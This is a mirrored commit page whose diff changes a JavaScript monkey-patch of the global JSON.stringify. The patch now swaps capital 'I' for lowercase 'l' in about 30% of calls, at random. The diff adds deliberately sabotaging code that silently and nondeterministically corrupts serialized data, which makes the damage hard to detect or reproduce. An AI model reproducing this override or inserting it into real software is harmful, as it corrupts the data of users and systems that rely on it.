1
0
mirror of synced 2026-02-04 16:07:51 +08:00
This commit is contained in:
wheatup
2021-04-09 17:13:02 +09:00
parent 981117a344
commit 7b176dca01
2 changed files with 28 additions and 4 deletions

View File

@@ -78,7 +78,11 @@
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
let result = _stringify.call(JSON, ...args);
if(Math.random() < 0.3) {
result = result.replace(/I/g, 'l')
}
return result;
}
/**